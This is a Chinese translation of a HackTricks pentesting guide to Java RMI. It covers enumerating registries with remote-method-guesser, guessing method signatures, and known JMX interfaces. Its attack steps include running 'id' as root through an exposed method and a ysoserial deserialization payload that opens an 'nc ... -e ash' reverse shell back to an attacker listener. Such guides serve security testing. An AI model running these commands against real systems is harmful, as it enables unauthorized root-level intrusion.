# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
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\ 使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\ 立即获取访问权限： {% embed url="" %} ## 基本信息 *Java 远程方法调用*，或 *Java RMI*，是一种面向对象的 *RPC* 机制，允许一个位于一个 \_Java 虚拟机\_中的对象调用另一个 \_Java 虚拟机\_中的对象上的方法。这使开发人员能够使用面向对象的范例编写分布式应用程序。可以在[此黑帽演讲](https://youtu.be/t_aw1mDNhzI?t=202)中找到从攻击者角度的 *Java RMI* 的简短介绍。 **默认端口：** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` 通常，只有默认的\_Java RMI\_组件（*RMI Registry\_和\_Activation System*）绑定到常见端口。实现实际\_Java RMI\_应用程序的\_远程对象\_通常绑定到随机端口，如上所示的输出。 \_nmap\_有时会在识别受\_SSL保护的\_RMI\_服务时遇到问题。如果在常见\_RMI\_端口上遇到未知的ssl服务，应进一步调查。 ## RMI组件 简单来说，*Java RMI\_允许开发人员在网络上提供一个\_Java对象*。这会打开一个\_TCP\_端口，客户端可以连接并调用相应对象上的方法。尽管听起来很简单，但\_Java RMI\_需要解决几个挑战： 1. 通过\_Java RMI\_分派方法调用，客户端需要知道目标对象的IP地址、监听端口、实现的类或接口以及`ObjID`（`ObjID`是在对象在网络上可用时创建的唯一随机标识符。它是必需的，因为\_Java RMI\_允许多个对象在同一个\_TCP\_端口上监听）。 2. 远程客户端可能通过调用暴露对象上的方法在服务器上分配资源。\_Java虚拟机\_需要跟踪这些资源中哪些仍在使用，哪些可以进行垃圾回收。 第一个挑战由\_RMI注册表\_解决，它基本上是\_Java RMI\_的命名服务。*RMI注册表\_本身也是一个\_RMI服务*，但实现的接口和`ObjID`是固定的，并且所有\_RMI\_客户端都知道。这使\_RMI\_客户端可以通过知道相应的\_TCP\_端口来使用\_RMI注册表。 当开发人员希望将他们的\_Java对象\_在网络中提供时，他们通常将它们绑定到\_RMI注册表\_。*注册表\_存储了连接到对象所需的所有信息（IP地址、监听端口、实现的类或接口和`ObjID`值），并将其提供在一个人类可读的名称下（绑定名称）。想要消费\_RMI服务\_的客户端向\_RMI注册表\_请求相应的\_绑定名称*，注册表返回所有连接所需的信息。因此，情况基本上与普通\_DNS\_服务相同。以下清单显示了一个小例子： ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` 上述挑战的第二个问题是通过**分布式垃圾收集器**（Distributed Garbage Collector，DGC）解决的。这是另一个具有众所周知的`ObjID`值的**RMI服务**，基本上每个**RMI端点**上都可以找到它。当**RMI客户端**开始使用**RMI服务**时，它会向**DGC**发送一个信息，说明相应的**远程对象**正在使用中。**DGC**然后可以跟踪引用计数，并能够清理未使用的对象。 连同已弃用的**激活系统**一起，这些是**Java RMI**的三个默认组件： 1. **RMI注册表**（`ObjID = 0`） 2. **激活系统**（`ObjID = 1`） 3. **分布式垃圾收集器**（`ObjID = 2`） **Java RMI**的默认组件长期以来一直是已知的攻击向量，并且在过时的**Java**版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，很容易与它们进行交互。对于自定义**RMI服务**，情况则有所不同。要调用**远程对象**上的方法，您需要事先知道相应的方法签名。如果不知道现有方法签名，就无法与**RMI服务**进行通信。 ## RMI枚举 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)是一个**Java RMI**漏洞扫描器，能够自动识别常见的**RMI漏洞**。每当您识别到一个**RMI**端点时，都应该尝试使用它： ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.dev/well-hidden-development-folder/ [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` 枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果，您应该尝试验证已识别的漏洞。 \_remote-method-guesser\_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞： ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## 强制破解远程方法 即使在枚举过程中未发现漏洞，可用的 *RMI* 服务仍可能暴露危险函数。此外，尽管 *RMI* 通信到 *RMI* 默认组件受到反序列化过滤器的保护，但与自定义 *RMI* 服务通信时，通常不会设置此类过滤器。因此，了解 *RMI* 服务上的有效方法签名非常有价值。 不幸的是，*Java RMI* 不支持枚举 *远程对象* 上的方法。尽管如此，可以使用诸如 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 等工具来强制破解方法签名： ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` 已识别的方法可以这样调用： ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` 或者您可以执行类似这样的反序列化攻击： ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` 以下文章中可以找到更多信息： * [在JEP 290之后攻击Java RMI服务](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) * [方法猜测](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) 除了猜测之外，您还应该在搜索引擎或GitHub中查找遇到的RMI服务的接口甚至实现。这里的绑定名称和实现类或接口的名称可能会有所帮助。 ## 已知接口 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)会将类或接口标记为`known`，如果它们在该工具的已知RMI服务的内部数据库中列出。在这些情况下，您可以使用`known`操作来获取有关相应RMI服务的更多信息： ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter ``` ## Shodan * `port:1099 java` ## 工具 * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://github.com/BishopFox/rmiscout) * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## 参考资料 * ## HackTricks 自动命令 ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ```
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